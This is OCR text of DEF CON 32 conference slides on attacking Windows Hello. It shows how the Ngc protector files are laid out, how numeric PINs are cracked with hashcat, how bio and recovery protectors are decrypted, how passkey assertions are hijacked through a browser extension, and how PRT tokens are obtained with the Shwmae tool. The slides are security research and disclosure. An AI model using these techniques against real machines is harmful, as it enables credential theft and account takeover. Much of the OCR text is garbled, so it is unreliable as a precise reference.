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Ceri Coburn (@ EthicalChaos ) PeN TEST PARTNERS

e Lives in Wales, UK “

» Software developer for 18 years within the DRM and security solutions
space

* Joined Pen Test Partners in August 2019

* Dedicated to Red Teaming and offensive security tooling for the last 3
years

* Speaker at DEF CON 31 and BSides

* Author and maintainer of several open-source tools
* Rubeus

BOF.NET

Okta Terrify

ThreadlessInject

SharpBlock

SweetPotato

BeaconEye
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Dirk-jan Mollema (@ dirkjan)

e Located in The Netherlands
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» Hacker / Researcher / Founder / Trainer @ Outsider Security

 Given talks at Black Hat / Def Con / BlueHat / Troopers

 Author of several Active Directory and Entra tools
* mitmb6
* |dapdomaindump
* BloodHound.py
e aclpwn.py
« Co-author of ntimrelayx
 ROADtools

* Blogs on dirkjanm.io
* Tweets stuff on @_dirkjan

DEFCON »»)»

c "
i
€¢¢ ENGAGE

RITY



Agenda

* Introduction to Windows Hello

e Relationship between Key Storage Providers

* Windows Hello containers, protectors and keys
e Tool demo

* Unprivileged Entra Abuse

* Mitigations
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Windows Hello

e Passwordless technology for Microsoft Windows

e Key pairs for encrypting secrets or signing data, including
authentication to the OS

e Keys typically protected by biometric devices or PIN

* Third party applications can also enrol secrets
* Windows Hello vs WHfB

* Windows Hello encrypts the user's password or uses live.com
based certificate

 WHfB uses tenant specific certificates which also support
models for on-premises SSO via 3 trust types
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Passport Key Storage Provider

* Windows has a common API for dealing —
with cryptographic operations via KSP’s #
* Extensible system via providers |
e Microsoft Software Key Storage Provider (RIP) | E R l
* Microsoft Platform Key Storage Provider 9 0
(TPM) rondas | | smartows | | seoumty mole
* Microsoft Smart Card Key Storage Provider o solon procss
(Smart Ca rd duh) Keyisolati;n SEMVICE
e Supports encryption, signing and key st o sorageprovier
agreement among other things o nl
 Windows Hello is no different B R S S S

* Microsoft Passport Key Storage Provider

DEFCON »»)»

: ™ _ Abusing Windows Hello Without a Severed Hand

i

€<¢ENGAGE

https://learn.microsoft.com/en-us/windows/win32/seccertenroll/cng-key-storage-providers
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Passport Key Storage

e Offered via the NgcCtnrSvc and
NgcSvc services

e Exposed via RPC calls

e Metadata for generated keys
stored under the LocalService

account at
%LocalAppData%\Microsoft\Ngc

e SYSTEM privileges needed to
access Ngc folder
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Passport Key Storage Provider

* Passport Key Storage provider
IS @ proxy to other KSP’s

* Under the hood either uses
Software Key Storage Provider
or Platform Key Storage
Provider

e Metadata contains

* Containers
* Protectors
e Key metadata
e Keys are stored via underlaying KSP
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= = - Folders | 3 BB [8 X & [E fg| Mg g 5 ~@m 5
Address C:AWindows\ServiceProfiles\LocalService\AppDataLocal\Microsoft\MNgc
o O o [
MNgc
s
Marne Type Size Date Modified

File folder
File folder

Today, 20:25:48
Today, 20:25:48

ITAEEZB07-604A-JAFD-8F8A-A4DCA0ETARAT):
{3816FO0F-1882-4CBF-9BAE-9TOB3CATICFE)

— T e
“—Each folder represents
L a container
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= {3816F90F-1882-4CAF-9BAE-9T063CATTCFB)

Mame Type

.................................................. ; File folder
© [EBTSTEE1-FD&F-11E3-80D4-10604B681CFA} File folder
|~ Protectors File folder
File folder

DAT File

DAT File

DAT File

DAT File

DAT File

DAT File

DAT File

Offset (h)

Qooo0o0g0
Qoooool1o
Qoooooz0
Q0000030
Qo0Q0o0040
Qo0o00s0

Offset (h)

00oaooog
00000010
00000020
00000030
00000040
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Protectors

* Protectors are the enrolled Windows Hello authentication methods

e Common metadata files
e 15.dat => Encrypted protector data

* Decrypted protector data contains 3 intermediate PINs
* Sign
* Decrypt
* External?

* 5 known types of protectors

* 1 - PIN protector

e 2 — Bio protector (both Face and Fingerprint)

* 3 — Azure recovery protector

e 4 —Seems to be missed, guess someone couldn’t count
5 — Preboot protector
6 — Companion device protector (seprecated after windows 10, version 2004)
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PIN Protector

e Can be alphanumeric

* Length stored within metadata
(numeric only)

* Metadata files =
e 1.dat => KSP used for encrypting Seeactin) 0 01 02 03 08 05 0 07 05 08 G 05 oC 0B 0% OF  Deceded text
protector data oooosne [
e 2.dat => KSP key id (software only) A
e 7.dat => PIN type and length [ PIN Type ] [p”\] Length]
* Industrial Security Research Group

already provided research in this
area for non TPM scenarios

 https://www.insecurity.be/blog/2020/1
2/24/dpapi-in-depth-with-tooling-
standalone-dpapi/
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PIN Protector (Software Decryption)

e Contents of 15.dat is RSA
encrypted

e 2.dat contains key ID

* Private key backed by Software
KSP

e Software KSP uses DPAPI-NG
Backed by SYSTEM DPAPI key

* PIN + fixed entropy used as
password for PBKDF2 key

 Salt and rounds for PBKDF?2 is
decrypted from the CNG key blob

* Resulting key used as entropy for
normal DPAPI decryption

Abusing Windows Hello Without a Severed Hand

L]
ot

Windows Hello Pin

/ DPAPI-NG /
CNG Key Blob
DPAPI-NG Blob Decrypt

XTHrZWaqVvbrvpuli DPAPI BLOB 6jnkd5J3ZdQDtrsu\d
Static Entropy Enc Private Ke 3, Props Static Et opy

DFAPI Decrypt
PEKDF2 < ‘|'
(Creem ) |
4" DPAFPI Decrypt I(*

/ PEKDF2
/ Salt + Rounds

=,
=y
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PIN Protector (TPM Decryption)

e Contents of 15.dat is TPM
encrypted

* Private key backed by TPM KSP
 No DPAPI backed blobs

 Metadata files

* 1.dat => KSP used for encrypting
protector data (Platform KSP)

e 2.dat => No longer present
e 7.dat => PIN type and length

e Key id is fixed (thanks Mimikatz)
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TPM Blob|Decrypt

Y
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/PM Decrypt PIV
r

TPM_RSA_SRK_SEAL_KEY

...-'/:.
[ TPM Decrypt ] / 15.dat /

L
/IntermediateF'le/
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PIN Protector Abuse

* TPM backed PIN protector is robust

TPM anti-hammering slows down
brute force significantly

* Software backed PIN protector =
RIP

* Length of numeric PIN already
known

e Targeted hashcat mask

» Hashcat type SWINHELLOS (28100)

* Less that 8 digits cracked in
seconds

e Up to 11 digits cracked in days

* Thanks to the WINHELLO2hashcat
project for the inspiration
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Provider

: Microsoft Software Key Storage Provider

** Protectors **

Type : Pin

Pin Type : Numeric

Length -

Hash : $WINHELLO%*SHAS12*18888*acbl888e™*7c7dc75T8934ecH
ccfB2* 355n:1F4-L51-"13:Fd-tulEEStm:cabE"1-n:halal35atu3n:1_‘Ltu:c»an:haa:iH-"T’.‘H-Tr 71lcdef212as
4e8871e6bf3bob54a7a745* 0100000066868 T4f4eed6747b62565b45df19adcBB0884d
29f8681T1a8c135e35d95ecco98dbaiT4b24bb2 aaB8666806062300800080208002800084
fB1747cf3167el112069082864cc3eeeb3ThbcB8b2963836971968195e431418c1f9ec933
ded412fatb2e199abof73fc9126a3ceb18311d888e85ddo9be938edbff35228ble37el]
185a34a596c6bc98cb2bt42479d32193b5b8715ec543861ca77685751626cd358beb:
586329615T8el1B446ecb395383613d8847e2db49d162e3ceeblieblecdB?29828ba7
cldd939b38dbeebcs6bdb2ddac2bb7a919bbbl4b4b6a3idbdladd4fb3B752cC
aBbbcc984B6Cc2BccBasbctSbebddebdbB8e9dle75166a78ec8b9d797bb7bT9cabl 724
5a573571565662727678754188

Mask : d?d?d?d?d?d?d?d

Decrypted : Supply /pin argument to attempt decryption
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Bio Protector

* Decryption key encrypted as Windows
Vault credential

* WinBio Key Resource Schema

e Vault backed by DPAPI, TPM is not used

* Decrypted vault credential contains
AES128 and AES256 keys

 AES256 key used to decrypt another
AES256 key using CBC

* Second key used to decrypt 15.dat using
AESGCM

e Metadata files

e 15.dat => Header + encrypted PIN’s
 Header = Nonce, Tag, AuthData

Abusing Windows Hello Without a Severed Hand

Windows Cred Vault

/‘KSTEM DF'P.F'I{/ / Palicy.vpol /

‘ Decrypt Policy.vpol I

¥
/AE8255 policy ke*,/ / 15.dat /

Y ¥
| AESGCM Decrypt I
/ntermediate F'Ns/
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Recovery Protector

e Used under WHfB scenarios

* Allows user to reset forgotten
Windows Hello PIN I*ﬁLl

* Enrolled Window Hello keys continue
to work after reset

Mary Gruber

| forgot my PIN

Sign-in options

e im E =
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Recovery Protector

= HTTE/1.1 200 OK
e Protector decryptor key encrypted with local |emerims: o
Connection: close
. Content-Type: application/Jjson: charset=utf-8
SYSTEM DPAPI ke fl rSt Date: Sun, 07 Jul 2024 11:03:49 GMT
y Server: Microsoft-115/10.0
Cache-Control: no-cache
Expires: -1
— . ° Fragma: no-cache
® E n C ry pte d key I S e n C ry pte d W I t h p u b I I C key Set-Cookie: ARRAffinity=0ebIldl0clSedafis80d00daB793efl5dalfEfh32£441bLE713acckhs41900887h;
FPath=/;HttpoOnly;Secure; Domain=cred.microscft.com
Set-Cookie: ARRAffinitySameSite=0ebIZdllclSedafS580d00dad783efl5dalfEth3iZf441lbE713acchedl800887h;
fetc h e d fro m E nt ra Path=/;Httponly;SameSite=None; Secure; Domain=cred.microsoft.com
¥-AspNet-Version: 4.0.30319
¥-Powered-By: ASP.NET
¥-Content-Type-Options: nosniff
. .
 cred.microsoft.com/getencryptionkey/v1 {
"kty":"RSA",
"use": A
o > Meid" " TESE07A3E8Ec4TIZEE5A3417E5ET924Ta",
[ ) Res u It Sto red I n S I d e 9 d at "x5c":"0S58043F4F223 13772EDEDEEFFEE3SCOLF30EAOD ",
° L
"iwESThibhaT7yslp lugPwFOGEnTHWwuairxp Ugnr Cuvp/ 1h0KewSZitnVonpde R3h ARBVMEGTWE S/ nELGE VRS hDGpDuE Swib
a O s7T1Zex1lNEusZdspEveLdlyE0t givLXViWikth )/ mEV1Sd9LCav+TOgTvagT0cGroullbe Dh9 04Tt 40yS 4k0 e QuML wS e XUSSNOD
o I n S I d e CO nta I n e r fo I d e r n Ot rote Cto r TrAvm3 zMavTzFShlPk)EpREVEugXTm ikt tHmkygsVMEa3ExSiDT+TsUFG3 1/ 54 GHS ka4 T+2z IWpS / vGWIAL/ Eqve3 Qb DRyx 1
"uSet [
f I d = \\/ . "MIIGazCCEBFOgAw I BAgIKY OxgGOAAARAABD ANBgkhkiGOwOBAQSFADCEIDELMAKGALIUEBhMCVVMxEz AREgINVE Ao TC 1
O e r TELJLZGIvbmd H) AeBgVEACTF UL T3 Jwel SmadCEDL 3 Jwh 3 JhdGlvh i EYMDAGAITEAxMp TWl jemS skl ZOTF Jvh3 Y
SIDIWMTAWHhcHMTAWN zAZ M AOMD I 2Whe MM UwI z AZ M AL MD I =W ESMOswC QY DVOOGEwIVIZzETHEEGALUECEMEVIFzaG1luzs
KEVEREZDEeMEwGALTEChMVTW]l jemSzhl Z0IENvenBvenF 0aloulsMw IQTDVOODExpNaWN vk 3INvEnQgV LuEG93cyBOQOEgH]
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Recovery Protector

Decryption key is decrypted via Entra
* POST cred.microsoft.com/unprotectsecret/vl

,Aicc;ess token requires ngcmfa and mfa
claim

Client id 9115dd05-fad5-4f9c-acc7/-
305d08b1b04e (Microsoft Pin Reset Client
Production)

Decrypted blob from Entra decrypted with
local SYSTEM DPAPI key

Metadata files

e 15.dat => AES encrypted intermediate PINs
e 4.dat=>AES IV

e 9.dat (protector) => Unknown

» 9.dat (container) => Encrypted Entra blob

Abusing Windows Hello Without a Severed Hand

/ DPAFI BLOB /SYSTEM DPAFI /
[ DPAPI Decrypt ]

A 4
/ AES Key / / 15.dat /

l AES Decrypt I

/Intermediate Ple/
DEF CON 32
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Recovery Protector

POST /unprotectsecret/vl HTTE/L1.L

Cache-Control: no-cache

Connection: close

Pragma: no-cache

Content-Type: application/json

Acecept: application/json; charset=utf-8

Aduthorization: Bearer
eyJ0eXAi0iJEVIQILCIhbGei0idsUel INiIsIng lACTE IR LHTHF qOThW TkxvWGF GZnEKQOJwZ0 I0SmF Le
yIsImtpEZCle Ik IHTHF qOThW TkxvWGFGEnBEQOJwZ0 I0SwF Loy IS . eydhdWQi01JodHREwe 2ovLINy ZWouab
WljemSzhZ Z0LnlvhS8iLlCdpe3NididodHRve zovL3N0cy53aWskh3dzLlmS 1ACSk ZTYwY TRmYS L kN Tg=zL T
BlYJACYWIZNiljZTMLIOGFmOD IZOWNw IiwiaWF0IjoxNeIwMeUvMTE4ALCJuYmYi0JE3 M A=NTAXNTys TV
4eCTENTey DM I NTAXOCwiY Wy IJoiMS IS InF phy IE IRFZUUF ILzhTQUFBQUIN i) Yy YVVRRKZUSI he=eULT
cDh4RnhwTmOxMGSETULEMnRTVG scET4e 1IFHUKSmiUm20a3 FHOnh 1 VRN OWIhOFhJOVESemIFS2d 1 ZDdALM
WETAnJzOH1EBcnZ idEJVS0keWHAQAZ ZPVIR4VL15ADUSENN0eWFEUVIRTE LORZN4 TFEBVUZ pe TUVM e 10171
hxalUExaldmQlce lQUQ4VngZl alhNTIEVE 1 ZyOGFUZ IRJCODOLiLCIhbXTi0lsicHdkIiwiZmlkbyIsIndeYST
SInSnTZ Y3 IsInlmYSJdLCJheHEp ZCTE I Jkx MTVEZDALLWEZhZD UL NGY STy Lh¥2 M3 LTMwWOwO G Tx Y] AD
ZE3TsImFucGlkYMy I JoiMC IsTmuZilfeyJOTmgi0iJCOUEXRZdOUWFmSmo 3 aTETaX I NoNGASWWsyRkSLe
OlBELOp 1YV ShmVULIBRPSISLCIRZXZpYZVREZCTIE IJJLZDQZ MD OOL WVl J QNG EmS05MzE 1L TeOMz YwliW
Il TwRkYilsImZhbWlseVouTWllTjoiR3 Ll Vy TiwiZ2 12 ZWSfhwFeZS 16Tk lhenkiLCIpeGFREZHTIOLT
yMTTuMTUSL) Q3L MwliwibmFEZ3T6 Tk lhenkgR3 1T Vy TiwikIlkIjoiMjglOTI3N=YtMedl Zi00NzMx
LWI4ZDMEMI A ZDRICGEONWUY Iiwikb 2 SwenVe X3NpZCTETIMe MSO1LTIxLTEWMDMZNDOWI I Mt D Ay OT4
JOwLTMzND I LODg3MDgt MTExMS Is InE3 EFS lemwiCidodHRwe zovL3EvenREhb OS5t alllyvh 3w ZnFEvhmy plm
TufZ29cLONoTWOnZVEBhe3N3h3JkLwF zcHyiLCdval Te I AuQVME 05 LxUne 2l LEWeOUZ e 1p zNDF pomchul k2
selJiZ3dFel RFeEcLUnIVEp Qb IFZQUILiTsInNjeC I InVe 2 fallwikIzki ShdGlvhilsInIlYiTE
InR3 ZWdkVENGHN 1 04dHUZ 32 5F M1 ZadVHI R ASUWRI UGV ecHN b k1 BeWdEZ LUILCI0aWli0idk ZTYwY TR T
S1kENTgzLTRIYJACYWIZNI I ETMIOGFmOD ISOWMALCT LhmlxdWWEbmFE Z3TE ImlhenkuZ3 J 1YWy QGvV0as
13 TWx)aGFveySkZEYiLCJ leGi0iJe YEISLmndydWI lekBldGhp V2 Fs T2 hhb3MuZGVI TiwidXRpIjoicGV
weVFnbh OMwBRXEZ M2 MxNZ 1342xBOSTsInZloiTETJEuNCIS . wH7kGriDdCakn IIDA17GUGui0ENwGvdlfe
MeReGlidmlJ1S5Kz1Z2hNS508moSFRUFDZ 055G wl QI Tobt aSvwL3XJdj0mpZne0GCo8 1Y g3 Z0v Y EWADZ
2eSC5oPoUVLIap3NeF7yI1SSiToMor b EfWNdw I horoHI 3 LbVout 2 Goe OJO0-IT1NuQ-mZ LEJsv4t U7ACOZht
JUEAdnodz9Z CLVEdpWF Db he AF4m] idgiUx-8WH4C0HiaTxfRDEayd-84NITVTmTV . licinvFrXgRUJz 1L
Z4RuNr JwMHC-SROBWRL3 s0mmEfLvandcERvEyE7R7Sh3C leks3m-IT] vU4nsS9ph-w

User—-Agent: Windows Credential BEecovery Client

CorrelationVector: xEAnwvtjfO0&n9dilSexiI4Sg.0

Content-Length: L1395

Host: cred.microsoft.com

"protectediecret':

TeyJWEZKIzal9uljoxLCIQemS0ZWN0 ZWELZXki0iJkYWhiEbkxyWmZZY2 £ 10ERCZXh4ND 2007 dMis VIimd0
QOTUevNGTH TAF Ym0 L O XEVAVOEJES Gt Kbmd LOHJCHHAC e TV Tan L HeFVUeFAzd 1VidXpne EhmcdExp 2
HYwLZStNF 1DVVAEVEprEXUySEhTekRlekt UV lppal VCAGpkTIFUS Kdx0xYai83dytwL zd e WF JF MTchm
EnVtTThOS3 dBN zdNWTIWWGR G FEeWFxUG13di00d] ZKc TEUAWE LTXpp 26 th G U ZJ WENN Y ncdlZG2
ZNWS4L0lucZ JPUTdp Zmd YOS swhXhgTUICOVe4TUO LSNnhGUWl 1eEcwOGEZvWVIZ ZVJwYy9SRUAPNOE4 AW
c5TzEZ5ZFZ5UF 1PL=JNb] 1saES0L L Zx YV uUmt GHZ ZDOWhSc 1V IaXFgaXEET L lma09r M2 L 1MHEVAZ 56V
WOl ZgYWRMLzFhUHIGZKESPS IsTKVUY3J5cHRpL I SLEZXIVENIzaWsuljoiNeY1Zi A3 ZDMZOGEZiNDe s
Meg IMWQeNDEI ZJUZOWUONZEILCIIVITE ImZVe Ve WRidF 1t MOMONO0iLCJBdXRoVGFnIjoiZy92 23J
INORZYZ5McUSnR1Vadvdl 2209 In0=. XY TSELO8qOCYFFNt/ KgF OJHr TlualBgEJJw7 7478 XJrnOHMAZ
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HTTF/1.l Z0D0D OE

Content-Length: £734

Connection: close

Content-Type: application/json; charsec=utf-8

Date: Sun, 07 Jul 2024 11:07:02 GHMT

Server: Microsoft-IIS/10.0

Cache-Control: no-cache

Expires: -1

Pragma: no-cache

Set—Cookie: ARBAffinity=731lfeldalcélefeefadfé4lBBEc8fechd3fbif0c711l57734ak3d5d47al79cEdA4;
Path=/:HttpOnly; Secure; Domain=cred.microsoft.com

Set-Cookie: ARRAffinitwySameSite=T73lfeldalcilicbecfadfed4lEBicBiech43fibi0cT1157734a34d5d47a
Fath=/;HttpOnly; SamsSite=None; Secure; Domain=cred.microscft.com

¥-AspNet-Version: 4.0.30319

¥-Powered-By: ASP.NET

¥-Content-Type-Opticons: nosniff

{

frspcrpt"-

"AQARANCHRASEFAERJHoAWE,/ C1+2EBARAAQOKEEE+Lz0GOF/ MZyhLhOAQAAAACAARARAADZgARAAEARCAALADEHT
KrE3 ZueSkcwmdr GOgooqeYDemf Z+HwA AR AAOgAAARATARCARRADDVEYgPTEdy VA EEcEDiaRo0CoSuEyaln7gy
ACPXe lutENKLE41vIiDxEo l INrv4c T PA4CWIKT1I1IHI4NLGo+D lmATokVIGi0DnCYLAARARAL KuTGH]iloKOs57d
S1VrgUZBISNDxVHOYqXoSnWj00iCNvEHI fx I Ip¥sJ+w+MTieQP7eLtrhojQg=="",

"encryptionkKey™:{

"kt,y" . ""P_SA"J

"-u.;seﬂ:I'I',-:].-'I..::I'rJ

"kid":"7ESE07A3E8EcdTIZE55A3417E568=47a",

"xS5t":"0958043F4F223 13772 BDEDESFFEEISCOLFI0BAOD™,

n":

"iwESTh¥bha7Tyslp lugFwFOGEnTHVwuairkpUlgqnr Cuvp/ 1bQKewS ZitnVOonp4eR3b ARBVEGTwWF S/ nELGE |

mbnht 132H/ BdoullucZ GEYCgsTY1Zrx INEux ZIspEvr LAy EQLgivLXViWikth] / mEW1BASLCav+TQgTvagToo

+Ut40vS4k0E6uNLwScXUSEN0DUNPjdZ8eDd lrdOx LHEZEOTr Avm3 e MawYzFShlPE EpEVEugX TmI MiXE c Hmky

AD7+TsUFG3 L/ 54CGHSkmd+T+2 IWp3/ vGWIAL/ Ecpve3 0bDRyx 13/ 6T/ r Z£5w=="",

"E FF: HAQAB I'I"

Moy Bt [
"MITGaAzCCEFOgAwIBAgIEY O GOARAARAARD ANEgkhkiGEOwlELQsFADCEIDELMARGALUEERMCVVNEZARE Y
cZhpbmdibZ4xEDACBgNVEACTE LI 125G lwhbmOxH] AcBglVEAC TF UL p Y3 JvelSmdCEDLIJubh3JhdG vl Ev D A
WljemSzhIZ0IFdvh3 Qg VydE lmaWllhdGUglV0asSyvaXRS ID IwMTAwHheNMMTAWN zAZ M3 AOMD I 2WhellM) Uyl
IzWiBSMOswC QY DVOQGEwIVUzETHEEGALUECEMEVEFzaGluZ3RBvb JEQMA4GALIUEEx MHUNVEL WO uZDEe MEwG A
Jem9zhZ Z0IENvenEBvenF 0aWlouMsSMw IQTDVOODEx pNaWllvh 3NvinQgWVa l1uZG93cyvEQOOEgM ) AxMDCCAS TwD Oy
AQEBEQADggEPADCCAQoCygEEAMESuzqxBA+Eu Lk EnUWcSC7E/ Y+DZ0USLGEwe iUsDhEHOAZVEVEIZL 1L 1k
ax+rOknEws0/ FuoV3 MnGovdScFosHEZSr Gh+v L2 vEZgFvmnZ JubTuSLeVs3 RV LpE+/ MITWHNC nd » eZwEOEZ ¥
dzaXIVaZIMsNiwNouesR/ OEXTETS0TFasTE3JYY1Z=2i0G) ZHe YRnUpnTHUpUwIoIPKIx/ zXO99 VLY aFe gl
*xEEIXeU94+3Drkn¥ina?/b/BTHEY9] AvguTHijge235V0ko TLO9r X2/ / KTHSHNSU LY TRGOStEnTg7 iFnho0Jt Ol
AadCheMuggHEMEAGCSSGAQOBE cVAQODAQE AMBOGA L UdDgOWBETRTEmEEw 08 CQYmOUA/ / PW=RO3vDAZEgk|
ATEDE4KAFMAAQBi AEMAQTALEgNVHOBEBAMCAYYwDwYDVREOTAQH, BAUWAWEE,/ zAfEgNVHSMEGD AUgETVY 1bL
ZUkFvEzpoTxDEWVEgNVHREEE TzENNEugSaEHhkVodHRwDi8vY3IsLmlp Y3 Jvel SmdC S b2 0veGEpLZNybh COwe
NaWlSh29D ZXIBAXREN ] AxMCOwN i0y My S emwwilgY IEwYBEQUHAQEETIEMMECGCCsGAQUFBzACh] SodHRwO1
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Preboot Protector

e Used for devices that support
BitLocker PIN to desktop
e 15.dat likely protected by BitLocker

e More research needed

DEFCON»»»
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Companion device protector

* Originally intended as external
protector via companion device

* Opaque blob sent to companion
device for encryption

* Probably the intermediate PINs

* No research needed, deprecated and
never seen irl.

DEFCON»»»
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Protector recap

* Protectors encrypt intermediate PINs
* Inputs to protectors differ depending

On type PIN Protector - =
* Bio protector doesn’t need biometrics
to decrypt Bio Protector » Degri'?;tepu;nljin —){ 277
. —» External Pin |
* PIN protector is extremely vulnerable "
when no TPM is present v Proecte

* Intermediate PIN purpose?
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Keys
* Intermediate PINs protect keys

» Keys can be used for encrypting
secrets or signing data

) Key types | A (Decrypt L:s;ltPasswurdj:
 Vault key (Decrypt PIN) | -
e Entra key (Sign PIN) T e e
* Passkey (Sign PIN) ISR B 5 e R e

e Third party (External PIN)
e QOkta FastPass
 Others

Recovery Protector

4){ Passkey/FIDO2
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Keys

* Keys once again leverage Software or
Platform KSP depending on TPM
presence

* Key metadata also stored in dat files
e Common dat files across all keys
» Key specific dat files too

DEFCON »»)»
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Vault Key

* Vault key is used for decrypting plaintext password for
Windows Hello

* Leverages the decrypt pin from the protector as authenticator
e Already covered in depth

* Check out DPAPI-in-depth with tooling: standalone DPAPI
https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-
with-tooling-standalone-dpapi/

DEFCON»»»
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Address crosoft\Mgc{3816F30F-1882-4C8F-0BAE- 37063 CATTCFE 931086

I , - 0 = [
a S S k e y K e y f2c7d065ech5alc5ef5a3ch2f3bc i T0dbb343d1f69a28644a 71 eddad 2 d 20004

Mame Size  Date Modified
1.dat 316 bytes  18/04/2024 21:1%:52

* Created when enrolling for |-} Diytes 18/042024 21105
WebAuthn/FIDO2/Passkey |- CEOR ) thie /o0t 195

. vt 1 encoded | it
supported websites == Count info) " Rl

4.dat

{ Ad d it i O n a | m eta d a ta fi I e S Odat Anyone seen this kind of variable length integer encoding before? There

are 2 strings prefixed with variable length. First string is 0xB in length,
N.dat —— — r W e hA U th n J second string is 0xC8. It doesn't appear to be 7bit length encoding.

e Contains WebAuthn e Lsign count |
credential info encoded as

CBOR oas
* Shoutout to @acebOnd

encoding S m—

‘,‘ Acebond (acebond@infosec.exchange) @aceb(nd - Dec 8, 2022
A

] 05 H &

|%' CCobl® @ FthicalChaos_ - Dec 8, 2023
%59 Amazing. After reading the wiki for CBOR, | can see it's used in FIDO, which is
where the buffer came from. Thanks $ 8§

DEFCON »»)»

C ™ _ Abusing Windows Hello Without a Severed Hand DEF CON 32

s

€¢4¢¢ ENGAGE



Passkey Key [
Offset(h) 00 01 02 03 04 O5 06 07 0O 0% OR OB OC OD OE OF Decoded text
A 00000000 B3 01 01 02 A3 62 €9 64 €B 77 €5 €2 €1 75 74 €2 E...tbidkwebauth
® CBOR data Conta|ns 00000010 €E 2E €9 €F 64 €9 63 €F 6E €% E7 2C B2 EA BA 22 n.iodiconig@E=&e,
00000020 E7 BF BF €4 6E €1 €D €5 €B 77 €5 €2 €1 75 74 €8 ¢¢idnamekwebauth
° 2 ( ) 00000030 6E ZE €% 6F 03 R4 62 69 64 55 2B 55 64 32 4F 4D n.io.mbidX+XdzoM
Relay party Id Rpld 00000040 56 42 72 €4 45 4B 4B 69 75 4D 54 70 56 6C 41 T7A VBrdEKKiuMTpV1Az
° LJ '(j 00000050 34 70 75 6D 65 79 35 50 €% 50 SR 2D 50 €9 €2 4pume3ySPiPZ-Pib
ser | 00000060 51 30 43 €6E 47 77 €4 €9 €3 €F 6E €% E7 3C B2 EA QOCnGwdiconigE=é
o 00000070 BA B2 E7 BF BF €4 6E 61 €D €5 78 1A €A €F €8 €E °, gi:;dnamex.john
Username 00000080 2E 64 6F 65 40 69 €D 69 6E 79 6F 75 72 63 6C 6F .doe@iminyourclo
. 00000090 75 64 2E 63 6F 6D 6B 64 69 73 TO 6C €1 79 4E 61 wud.comkdisplayNa
o DISplay name 000000RD €D 65 T8 1L 6& EF 68 6E 2E 64 6F 65 40 69 6D 69 mex.john.dos@imi
000000B0  6E 79 6F 75 T2 63 €C 6F 75 €4 2ZE €3 6F D nyourcloud,.com
e SHA256 of CNG key blob i
0 ey blob is
the WebAuthn Credentlal |d Offset(h) 00 01 02 03 04 05 06 07 OB 0% OR OB OC OD OE OF Decoded text
00000000 45 43 4B 31 20 00 00 00 52 SL 68 CC BE 4E EA 3D ECKL ...R5himme=
: 00000010 51 6F EE E8 32 €F BS 7F 4E 0f FA 50 42 F4 C3 CA  QoieZo® . N.aEJoAE
°® | I 00000020 C4 74 D7 reate credential i * 24 FO 72 AtxE bScOmsL.Ss
ncrerr]enta S|gn Count Q0000020 /e SHA256 to create credential id' == F - * C-'IE L. 582
. QOOooo30 TF &5 CO FE=TF 560 B3 DB 223 53 2B DD DA 5C OC SE el TETTES+T T e,
Stored IN 11 dat 00000040 Al EB 28 E6 5D 18 07 &9 TIPS
i i

e All the information needed @ 7dat @ 1ot
to authent|cate to offsec(h) 00 01 02 03 cu& 05 06 07 08 0% OR OB OC OD OE OF %Tded text

00000000 JOF 00 00 Od

WebAuthn
( Sign count ]
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Passkey Abuse

e Custom browser extension to
hijack navigator.credentials.get
H aWS mary@amazon .com
WebAuthn function o

Sign in

mary@google.com
® Sign in improvements coming soon google.com
r effort to improve the customer experience, Amazon We Sign Count 15

Shwmae WebAuthn Listener

http://192.168.64.24:8000

* Proxy assertion requests to
compromised host

® Root user

I Save

OpenSearch Service

* Increment sign count

* Sign assertion and fake user
presence

e Return result back to extension
e Profit
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Entra Key

* Created during WHfB

enrolment
o U S e d a I O n g W it h d evi Ce Address rnsnft\Ngci{381 BFS0F-1882-4C8F-9BAE-97063CATTCFB M SIF10861-19F1-42B8-AD24-93 A2 3E9C4096 M f aecd 479062059631 74538 d
.f. — ':: — D:
Ce rt I I Cate to re q u eSt faecdd72062096a174938dcbac113526acd7achd4302a8c360b2e29b o063 550

)
PRT's Name A]r Key Name] Size Date Modified Type
[ 1.dat —— 168 bytes  18/04/2024 17:15:54 DAT File

Can be used to obtain B e — 70 bytes 18/04/2024 17:15:54  DAT File
cloud TGT under Cloud [)3.dat—__ ___._'_I\KSP Name] 73 bytes 18/04/2024 17:15:54 DAT File

Kerberos trust model B o™\ |KSP Key 1d) suyes 1ovomme m1s3s oaie

i ! : [ 6.da “ 4bytes 18/04/2024 17:15:54 DAT File

° Leverages the S|gn|ng pln %E.da: ["C'ém dh}-}:es 18/04/2024 17:15:54  DAT File

0.dat Abytes 18/04/2024 17:15:54  DAT File

from the prOteCtor as (] 10.dat ( J 4&:3,,};5 18/04/2024 17:15:54  DAT File

aUthent|Cat0r [124a = Key Type | Bbytes 18/04/202417:1554 DATFile

* Key name format

contains tenant and user login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/mary.gruber@ethicalchaos.dev

id
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Entra Key Abuse

* Direct request of new PRT's
leveraging the enrolled user key

* The return of Dirk-jan’s CVE-

2021-33781 via KDFv1
downgrade

e Reported to MSRC

* Conveniently deprecated in
time for DEF CON
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24B-33425887
-dd4a7e4dd
cB23f

-1111

k.ey,- : 2f66
fe6eb

-5-21-1883644863-482
4b+4L441—9 8a-41a@-b3
T45b8eb13611 2d8f38cB8e8

>.\Shwmae.exe prt --sid S
[+] Decrypted SYSTEM vault poli
ﬁar5FdBBBFddBr583Gre fdb
[+] De:rypted nault 2
= H db abdfBaab211bb
2 15F3_ f55c332d14e
[=] Fcund re key with UPH
[+] Successfully de‘rypted NG
Transport Key
PRT

2c47688167c62732ae89cd4681557be8

efe73d
S5d3ad43dfdbes324fadb7beab87f1a%epebecd
ruber“.'E[Iet}'liralr}'|;mr dev and kid +1TP91aEUNWFjFXxbPz6CMxiOWhdohCoTthcr/OwBlek=

FnP75P
sQEtPLHfGEMZN
v3183] F\,-h_uLIF

g thtd'IqDLFtPI'pHT__
0l|51\.-’4E I.-104||l ~E31Fl Ol_c:."RHrl wjs5laboGOLt3FHIo®
aad6c
7c4dac8724ec7b2b8b2124bc

RnN4N1GrgVR

PRT Random
PRT Derived
partial TGT

AuIEEaEDAGEHUUIEdTCCEthqu HIIEIAADAGEFGdeDEFELPd1TPdFLPHPTthHE+9AMIEAqEfHEbemty|andB1HQUQuRBl

8
8d78ccadlclbd14c882516377

Change announcements

Security update to Entra ID affecting clients which are running old, unpatched builds of Windows

I I}LFP_-‘.'

Y L|"‘\.| ate to Entra
1 :j{I?:-

» action is required

If your Windows devices do not have security updates after July 2021, update Windows to the latest

